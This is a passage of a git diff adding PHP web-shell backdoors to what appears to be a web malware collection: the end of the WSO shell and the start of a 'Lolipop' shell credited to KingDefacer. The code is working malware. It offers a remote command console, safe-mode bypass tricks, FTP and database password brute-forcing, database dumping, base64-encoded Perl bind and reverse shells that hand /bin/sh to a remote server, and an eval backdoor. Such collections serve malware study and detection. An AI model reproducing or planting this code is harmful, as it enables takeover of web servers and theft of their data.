'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + $time = @filemtime($_POST['p1']); + $_POST['p3'] = substr($_POST['p3'],1); + $fp = @fopen($_POST['p1'],"w"); + if($fp) { + @fwrite($fp,$_POST['p3']); + @fclose($fp); + echo 'Saved!<br><script>p3_="";</script>'; + @touch($_POST['p1'],$time,$time); + } + } + echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; + $fp = @fopen($_POST['p1'], 'r'); + if($fp) { + while( !@feof($fp) ) + echo htmlspecialchars(@fread($fp, 1024)); + @fclose($fp); + } + echo '</textarea><input type=submit value=">>"></form>'; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000<br>','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} + $h[1] .= '<br>'; + $h[2] .= "\n"; + } + } + echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename!<br>'; + else + die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); + } + echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(!touch($_POST['p1'],$time,$time)) + echo 'Fail!'; + else + echo 'Touched!'; + } else echo 'Bad time format!'; + } + clearstatcache(); + echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; + break; + } + echo '</div>'; + wsoFooter(); +} + +function actionSafeMode() { + $temp=''; + ob_start(); + switch($_POST['p1']) { + case 1: + $temp=@tempnam($test, 'cx'); + if(@copy("compress.zlib://".$_POST['p2'], $temp)){ + echo @file_get_contents($temp); + unlink($temp); + } else + echo 'Sorry... Can\'t open file'; + break; + case 2: + $files = glob($_POST['p2'].'*'); + if( is_array($files) ) + foreach ($files as $filename) + echo $filename."\n"; + break; + case 3: + $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__)); + curl_exec($ch); + break; + case 4: + ini_restore("safe_mode"); + ini_restore("open_basedir"); + include($_POST['p2']); + break; + case 5: + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) + echo join(':',$uid)."\n"; + } + break; + } + $temp = ob_get_clean(); + wsoHeader(); + echo '<h1>Safe mode bypass</h1><div class=content>'; + echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; + if($temp) + echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>'; + echo '</div>'; + wsoFooter(); +} + +function actionConsole() { + if(!empty($_POST['p1']) && !empty($_POST['p2'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true; + $_POST['p1'] .= ' 2>&1'; + } elseif(!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false; + + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + echo "d.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "c_='".$GLOBALS['cwd']."';"; + } + } + echo "d.cf.output.value+='".$temp."';"; + echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + wsoHeader(); + echo "<script> +if(window.Event) window.captureEvents(Event.KEYDOWN); +var cmds = new Array(''); +var cur = 0; +function kp(e) { + var n = (window.Event) ? e.which : e.keyCode; + if(n == 38) { + cur--; + if(cur>=0) + document.cf.cmd.value = cmds[cur]; + else + cur++; + } else if(n == 40) { + cur++; + if(cur < cmds.length) + document.cf.cmd.value = cmds[cur]; + else + cur--; + } +} +function add(cmd) { + cmds.pop(); + cmds.push(cmd); + cmds.push(''); + cur = cmds.length-1; +} +</script>"; + echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; + foreach($GLOBALS['aliases'] as $n => $v) { + if($v == '') { + echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; + continue; + } + echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; + echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; + if(!empty($_POST['p1'])) { + echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); + } + echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; + echo '</form></div><script>d.cf.cmd.focus();</script>'; + wsoFooter(); +} + +function actionLogout() { + session_destroy(); + die('bye!'); +} + +function actionSelfRemove() { + + if($_POST['p1'] == 'yes') + if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) + die('Shell has been removed'); + else + echo 'unlink error!'; + if($_POST['p1'] != 'yes') + wsoHeader(); + echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; + wsoFooter(); +} + +function actionBruteforce() { + wsoHeader(); + if( isset($_POST['proto']) ) { + echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; + if( $_POST['proto'] == 'ftp' ) { + function bruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function bruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function bruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; + $res = @pg_connect($str); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; + } + } + } + echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; + } + echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' + .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' + .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' + .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' + .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' + .'<span>Server:port</span></td>' + .'<td><input type=text name=server value="127.0.0.1"></td></tr>' + .'<tr><td><span>Brute type</span></td>' + .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' + .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' + .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' + .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' + .'<td><input type=text name=login value="root"></td></tr>' + .'<tr><td><span>Dictionary</span></td>' + .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' + .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; + echo '</div><br>'; + wsoFooter(); +} + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if(!$host[1]) $host[1]=5432; + if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link,$str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->query("SHOW databases"); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); + break; + } + return false; + } + function listTables() { + switch($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); + break; + } + return false; + } + function error() { + switch($this->type) { + case 'mysql': + return @mysql_error(); + break; + case 'pgsql': + return @pg_last_error(); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + case 'pgsql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function loadFile($str) { + switch($this->type) { + case 'mysql': + return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); + break; + case 'pgsql': + $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); + $r=array(); + while($i=$this->fetch()) + $r[] = $i['file']; + $this->query('drop table wso2'); + return array('file'=>implode("\n",$r)); + break; + } + return false; + } + function dump($table, $fp = false) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + $sql = $create[1].";\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + $this->query('SELECT * FROM `'.$table.'`'); + $head = true; + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + if($v == null) + $item[$k] = "NULL"; + elseif(is_numeric($v)) + $item[$k] = $v; + else + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + if($head) { + $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; + $head = false; + } else + $sql = "\n\t,(".implode(", ", $item).')'; + if($fp) fwrite($fp, $sql); else echo($sql); + } + if(!$head) + if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); + break; + case 'pgsql': + $this->query('SELECT * FROM '.$table); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".addslashes($v)."'"; + $columns[] = $k; + } + $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if(@$_POST['p2']=='download') { + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + if(empty($_POST['file'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + $db->dump($v); + exit; + } elseif($fp = @fopen($_POST['file'], 'w')) { + foreach($_POST['tbl'] as $v) + $db->dump($v, $fp); + fclose($fp); + unset($_POST['p2']); + } else + die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); + } + wsoHeader(); + echo " +<h1>Sql browser</h1><div class=content> +<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> +<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> +<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> +<td><select name='type'><option value='mysql' "; + if(@$_POST['type']=='mysql')echo 'selected'; +echo ">MySql</option><option value='pgsql' "; +if(@$_POST['type']=='pgsql')echo 'selected'; +echo ">PostgreSql</option></select></td> +<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td> +<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td> +<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>"; + $tmp = "<input type=text name=sql_base value=''>"; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + $db->listDbs(); + echo "<select name=sql_base><option value=''></option>"; + while($item = $db->fetch()) { + list($key, $value) = each($item); + echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; + } + echo '</select>'; + } + else echo $tmp; + }else + echo $tmp; + echo "</td> + <td><input type=submit value='>>' onclick='fs(d.sf);'></td> + <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> + </tr> + </table> + <script> + s_db='".@addslashes($_POST['sql_base'])."'; + function fs(f) { + if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; + if(f.p1) f.p1.value=''; + if(f.p2) f.p2.value=''; + if(f.p3) f.p3.value=''; + } + } + function st(t,l) { + d.sf.p1.value = 'select'; + d.sf.p2.value = t; + if(l && d.sf.p3) d.sf.p3.value = l; + d.sf.submit(); + } + function is() { + for(i=0;i<d.sf.elements['tbl[]'].length;++i) + d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; + } + </script>"; + if(isset($db) && $db->link){ + echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; + $tbls_res = $db->listTables(); + while($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + if(!empty($_POST['sql_count'])) + $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); + $value = htmlspecialchars($value); + echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>"; + } + echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; + $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); + $num = $db->fetch(); + $pages = ceil($num['n'] / 30); + echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; + echo " of $pages"; + if($_POST['p3'] > 1) + echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>"; + if($_POST['p3'] < $pages) + echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>"; + $_POST['p3']--; + if($_POST['type']=='pgsql') + $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); + else + $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; + echo "<br><br>"; + } + if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { + $db->query(@$_POST['p2']); + if($db->res !== false) { + $title = false; + echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo '<tr>'; + foreach($item as $key => $value) + echo '<th>'.$key.'</th>'; + reset($item); + $title=true; + echo '</tr><tr>'; + $line = 2; + } + echo '<tr class="l'.$line.'">'; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo '<td><i>null</i></td>'; + else + echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; + } + echo '</tr>'; + } + echo '</table>'; + } else { + echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; + } + } + echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; + if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) + echo htmlspecialchars($_POST['p2']); + echo "</textarea><br/><input type=submit value='Execute'>"; + echo "</td></tr>"; + } + echo "</table></form><br/>"; + if($_POST['type']=='mysql') { + $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); + if($db->fetch()) + echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; + } + if(@$_POST['p1'] == 'loadfile') { + $file = $db->loadFile($_POST['p2']); + echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; + } + } else { + echo htmlspecialchars($db->error()); + } + echo '</div>'; + wsoFooter(); +} +function actionNetwork() { + wsoHeader(); + $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + echo "<h1>Network tools</h1><div class=content> + <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> + <span>Bind port to /bin/sh [perl]</span><br/> + Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> + </form> + <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> + <span>Back-connect [perl]</span><br/> + Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> + </form><br>"; + if(isset($_POST['p1'])) { + function cf($f,$t) { + $w = @fopen($f,"w") or @function_exists('file_put_contents'); + if($w){ + @fwrite($w,@base64_decode($t)); + @fclose($w); + } + } + if($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl",$bind_port_p); + $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); + echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; + unlink("/tmp/bp.pl"); + } + if($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl",$back_connect_p); + $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); + echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; + unlink("/tmp/bc.pl"); + } + } + echo '</div>'; + wsoFooter(); +} +function actionRC() { + if(!@$_POST['p1']) { + $a = array( + "uname" => php_uname(), + "php_version" => phpversion(), + "wso_version" => WSO_VERSION, + "safemode" => @ini_get('safe_mode') + ); + echo serialize($a); + } else { + eval($_POST['p1']); + } +} +if( empty($_POST['a']) ) + if(isset($default_action) && function_exists('action' . $default_action)) + $_POST['a'] = $default_action; + else + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +exit; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/lolipop.txt b/web-malware-collection-master/Backdoors/PHP/lolipop.txt new file mode 100755 index 0000000..529e5b6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/lolipop.txt @@ -0,0 +1,289 @@ +<p align="right"></p><body bgcolor="#FFFFFF"> +<?php + +######################## Begining of Coding ;) ###################### +error_reporting(0); + + $info = $_SERVER['SERVER_SOFTWARE']; + $site = getenv("HTTP_HOST"); + $page = $_SERVER['SCRIPT_NAME']; + $sname = $_SERVER['SERVER_NAME']; + $uname = php_uname(); + $smod = ini_get('safe_mode'); + $disfunc = ini_get('disable_functions'); + $yourip = $_SERVER['REMOTE_ADDR']; + $serverip = $_SERVER['SERVER_ADDR']; + $version = phpversion(); + $ccc = realpath($_GET['chdir'])."/"; + $fdel = $_GET['fdel']; + $execute = $_POST['execute']; + $cmd = $_POST['cmd']; + $commander = $_POST['commander']; + $ls = "ls -la"; + $source = $_POST['source']; + $gomkf = $_POST['gomkf']; + $title = $_POST['title']; + $sourcego = $_POST['sourcego']; + $ftemp = "tmp"; + $temp = tempnam($ftemp, "cx"); + $fcopy = $_POST['fcopy']; + $tuser = $_POST['tuser']; + $user = $_POST['user']; + $wdir = $_POST['wdir']; + $tdir = $_POST['tdir']; + $symgo = $_POST['symgo']; + $sym = "xhackers.txt"; + $to = $_POST['to']; + $sbjct = $_POST['sbjct']; + $msg = $_POST['msg']; + $header = "From:".$_POST['header']; + + +//PHPinfo + +if(isset($_POST['phpinfo'])) +{ + die(phpinfo()); +} +//Guvenli mod vs vs +if ($smod) +{ + $c_h = "<font color=red face='Verdana' size='1'>ON</font>"; +} +else +{ + $c_h = "<font face='Verdana' size='1' color=green>OFF</font>"; +} + +//Kapali Fonksiyonlar +if (''==($disfunc)) +{ + $dis = "<font color=green>None</font>"; +} +else +{ + $dis = "<font color=red>$disfunc</font>"; +} +//Dizin degisimi +if(isset($_GET['dir']) && is_dir($_GET['dir'])) +{ + chdir($_GET['dir']); +} + +$ccc = realpath($_GET['chdir'])."/"; + +//Baslik +echo "<head> +<style> +body { font-size: 12px; + + font-family: arial, helvetica; + + scrollbar-width: 5; + + scrollbar-height: 5; + + scrollbar-face-color: black; + + scrollbar-shadow-color: silver; + + scrollbar-highlight-color: silver; + + scrollbar-3dlight-color:silver; + + scrollbar-darkshadow-color: silver; + + scrollbar-track-color: black; + + scrollbar-arrow-color: silver; + + } +</style> + +<title>Lolipop.php - Edited By KingDefacer - [$site]</title></head>"; +//Ana tablo +echo "<body text='#FFFFFF'> +<table border='1' width='100%' id='table1' border='1' cellPadding=5 